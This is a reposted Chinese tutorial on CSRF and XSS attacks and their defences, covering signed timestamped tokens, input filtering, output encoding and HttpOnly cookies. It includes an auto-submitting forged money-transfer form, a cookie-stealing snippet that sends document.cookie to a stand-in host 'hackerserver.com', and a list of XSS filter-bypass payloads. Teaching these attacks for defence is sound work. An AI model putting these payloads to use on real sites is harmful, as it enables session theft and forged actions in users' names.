原文出自CSRF、XSS攻防原理及解决方案https://juejin.im/post/6874730741989801997#heading-6javascript
1、CSRF
CSRF 全称叫作,跨站请求伪造(Cross—Site Request Forgery),顾名思义,攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来讲这个请求是彻底合法的,可是却完成了攻击者所指望的一个操做,好比以你的名义发送邮件、发消息,盗取你的帐号,添加系统管理员,甚至于购买商品、虚拟货币转帐等。对于服务器而言,判断请求对象是不是你自己的方法限于提供身份认证的cookie、秘钥等,没法去识别个体。html
原理介绍、流程分析
如下,举例模拟一个被CSRF攻击影响的例子:前端
用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登陆网站A; 在用户信息经过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登陆网站A成功,能够正常发送请求到网站A; 用户未退出网站A以前,在同一浏览器中,打开一个TAB页访问网站B; 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A; 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的状况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求实际上是由B发起的,因此会根据用户C的Cookie信息以C的权限处理该请求,致使来自网站B的恶意代码被执行。
更为具体的举例,伪造请求的方式通常有以下几种方式:java
// 页面中有一个超连接,诱导用户进行点击
<a href="https://aaa.com?userid=3&money=9999">诱导信息</a>
// 直接在页面上使用Img进行get请求
<img src="https://aaa.com?userid=3&money=9999"/>
// 或使用表单进行提交
<iframe name="heihei" style="display:none;"></iframe>
<form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >
<input name="userid" value="3" type="hidden" />
<input name="money" value="9999" type="hidden" />
</form>
<script>
window.onload = function(){
document.forms[0].submit();
}
</script>
CSRF漏洞检测
检测CSRF漏洞是一项比较繁琐的工做,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再从新提交,若是该提交还有效,那么基本上能够肯定存在CSRF漏洞。web
固然咱们也能够试着利用根据来进行漏洞检测,随着对CSRF漏洞研究的不断深刻,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。算法
以CSRFTester工具为例,CSRF漏洞检测工具的测试原理以下:使用CSRFTester进行测试时,首先须要抓取咱们在浏览器中访问过的全部连接以及全部的表单等信息,而后经过在CSRFTester中修改相应的表单等信息,从新提交,这至关于一次伪造客户端请求。若是修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,固然此款工具也能够被用来进行CSRF攻击。express
CSRF防护原理
根据以上的方式咱们能显而易见看到,问题就出在“访问网站B”和“携带Cookie信息”上。针对CRSF攻击,CSRF防御的一个重点是要对“用户凭证”进行校验处理,经过这种机制能够对用户的请求是合法进行判断,判断是否是跨站攻击的行为。由于“用户凭证”是Cookie中存储的,因此防御机制的处理对像也是Cookie的数据,咱们要在防御的数据中加入签名校验,并对数据进行生命周期时间管理,就是数据过时管理。浏览器
由此得出,CSRF防御的一个重点是要对“用户凭证”进行校验处理,经过这种机制能够对用户的请求是合法进行判断,判断是否是跨站攻击的行为。由于“用户凭证”是Cookie中存储的,因此防御机制的处理对像也是Cookie的数据,咱们要在防御的数据中加入签名校验,并对数据进行生命周期时间管理,就是数据过时管理。安全
防护思路
针对防止CSRF的发生,建立Token处理机制,Token数据结构与时间、加密签名直接相关, 这么设计的的目的如上所说,是给“身份凭证”加上时间生存周期管理和签名校验管理,若是的凭证被人拿到了, 要先判断Token中的“签名”与时间戳是否都有效,再进行正常的业务处理, 这样经过对非法数据的校验过滤,来下降CSRF攻击的成功率。服务器
签名与时间戳防御处理流程
在token中加入上述方法中所描述的时间戳信息和签名信息:
-----------------------------------------------------------------------------
| msg | separator | signature |
-----------------------------------------------------------------------------
| key | timestamp | . | Base64(sha256(msg)) |
-----------------------------------------------------------------------------
-
msg部分:key即随机生成的字符串用做用户凭证认证+timestamp时间戳验证时间用 -
separator部分:用于分隔msg部分与加密后生成的signature签名部分 -
signature部分:signature即签名,是对“msg消息”用特定算法进行加密后的串。
token = base64(msg)格式化..base64(sha256("密锁", msg))
整个Token就是由被Base64的msg编码串+先256加密msg再进行Base64编码,两个串的内容结合。
Token校验
在整个防护作法中,对于token的校验流程为:
-
在服务器端对接收到的token进行分片,以分隔符进行分割,获取信息内容和签名 -
对于签名验证,对信息进行解码,若是经过则进入时间校验 -
若是签名有效的,取出msg中的timestamp字段数据,与当前系统时间进行比较,若是过时时间小于当前时间,那这个token是过时的,须要从新的取得token。
2、XSS
XSS(跨站脚本攻击,Cross-site scripting,简称并非 CSS,由于 CSS是 层叠样式表)是一种常见的 web 安全问题。XSS 攻击手段是容许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击类型区分
① 反射型
反射型 XSS攻击 一般是简单地把用户输入的数据“反射”给浏览器。黑客通常会诱使用户点击一个有恶意的连接,用户点击就会发起 XSS 攻击。反射型 XSS 攻击能够将 JavaScript 脚本插入到 HTML 节点中、HTML 属性中以及经过 JS 注入到 URL 或 HTML 文档中。
② 储存型
存储型 XSS攻击 这种攻击会把用户输入的数据存储到服务器中。例如在一个有 XSS 漏洞的博客网站,黑客写下一篇含有恶意 JavaScript 代码的文章,文章发布后,全部看了这篇博文的用户都会在他们的浏览器中执行恶意 JavaScript 代码。
③ DOM-based 型
注意:这种类型的划分与以上两种类型划分方式不一样,是按照Payload的位置划分
DOM-based 型XSS攻击 基于 DOM 的 XSS 攻击是指经过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。
发起 XSS 攻击后,黑客写入的 JavaScript 代码就会执行,经过脚本能够控制用户的浏览器。一个常见的攻击手段是“Cookie 劫持”,cookie 中通常加密保存着当前用户的登陆凭据,黑客能够经过恶意代码将用户的 cookie 发到本身的服务器上,而后就能够作到无密码登陆上用户的帐户。
实现XSS攻击的条件
-
须要向web页面注入恶意代码; -
这些恶意代码可以被浏览器成功的执行。
会利用XSS攻击获取什么?
-
窃取cookies,读取目标网站的cookie发送到黑客的服务器上,以下面的代码:
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
在此提到来自浏览器的自带防护,浏览器针对于这类问题的存在,对于DOM对象的访问会有本身的禁用方式,避免最基本的XSS注入。例如在旧版的IE8和IE8如下的版本都是能够被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,因此在火狐下执行将会看到控制里抛出异常:document is not defined
-
读取用户未公开的资料,若是:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码 -
篡改网页,进行钓鱼或者恶意传播 -
网站重定向
XSS的防护
具体举例:注入转义
对于URL作解析时和发起get请求时都会须要读取URL携带的参数,若是将 url 中的参数直接插入到 DOM 中,这就有可能构成 XSS 攻击,攻击者利用这一漏洞,给其余用户发送一个有恶意的连接,用户就有可能中招。如:
http://www.example/test.index?param=<script>alert('XSS')</script>
这个 URL 的 param 参数值并非合理的,而是攻击者构建的。
再如:一个超连接中的URL
<a href='http://www.xss.com?cookie='+document.cookie>
上述方式能够经过点击连接的方式注入XSS,去获取当前用户的Cookie。
防护方式:
-
当恶意代码值被做为某一标签的内容显示:在不须要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )作过滤,将其转化为不被浏览器解释执行的字符。 -
当恶意代码被做为某一标签的属性显示,经过用 “将属性截断来开辟新的属性或恶意方法:属性自己存在的 单引号和双引号都须要进行转码;对用户输入的html 标签及标签属性作白名单过滤,也能够对一些存在漏洞的标签和属性进行专门过滤。
常见的xss攻击方法
-
绕过XSS-Filter,利用<>标签注入Html/JavaScript代码; -
利用HTML标签的属性值进行xss攻击。例如:
<img src=“javascript:alert(‘xss’)”/>
(固然并非全部的Web浏览器都支持Javascript伪协议,因此此类XSS攻击具备必定的局限性)
-
空格、回车和Tab。若是XSS Filter仅仅将敏感的输入字符列入黑名单,好比javascript,用户能够利用空格、回车和Tab键来绕过过滤,例如:
<img src=“javas cript:alert(/xss/);”/>
-
利用事件来执行跨站脚本。例如:
<img src=“#” onerror= “alert(1)”/>
当src错误的视乎就会执行onerror事件
-
利用CSS跨站。例如:
Body {
backgrund-image: url(“javascript:alert(‘xss’)”)
}
-
扰乱过滤规则。例如:
<IMG SRC=“javaSCript: alert(/xss/);”/>
-
利用字符编码,透过这种技巧,不只能让XSS代码绕过服务端的过滤,还能更好地隐藏Shellcode;(JS支持unicode、eacapes、十六进制、十进制等编码形式) -
拆分跨站法,将xss攻击的代码拆分开来,适用于应用程序没有过滤 XSS关键字符(如 <
、>
)却对输入字符长度有限制的状况下; -
DOM型的XSS主要是由客户端的脚本经过DOM动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端得到DOM中的数据在本地执行。容易致使DOM型的XSS的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;
XSS攻击防护
原则:不相信客户输入的数据
注意: 攻击代码不必定在<script></script>
中
-
使用XSS Filter。
输入过滤,对用户提交的数据进行有效性验证,仅接受指定长度范围内并符合咱们指望格式的的内容提交,阻止或者忽略除此外的其余任何数据。好比:电话号码必须是数字和中划线组成,并且要设定长度上限。过滤一些些常见的敏感字符,例如:< > ‘ “ & # \ javascript expression "onclick=" "onfocus";过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
;过滤JavaScript 事件的标签,例如 "onclick=", "onfocus" 等等。
输出编码,当须要将一个字符串输出到Web网页时,同时又不肯定这个字符串中是否包括XSS特殊字符(如< > &‘”等),为了确保输出内容的完整性和正确性,可使用编码(HTMLEncode)进行处理。
-
DOM型的XSS攻击防护
把变量输出到页面时要作好相关的编码转义工做,如要输出到 <script>
中,能够进行JS编码;要输出到HTML内容或属性,则进行HTML编码处理。根据不一样的语境采用不一样的编码处理方式。
-
HttpOnly Cookie
将重要的cookie标记为http only, 这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段,可是在脚本中却不能访问这个cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie:
本文分享自微信公众号 - JavaScript忍者秘籍(js-obok)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。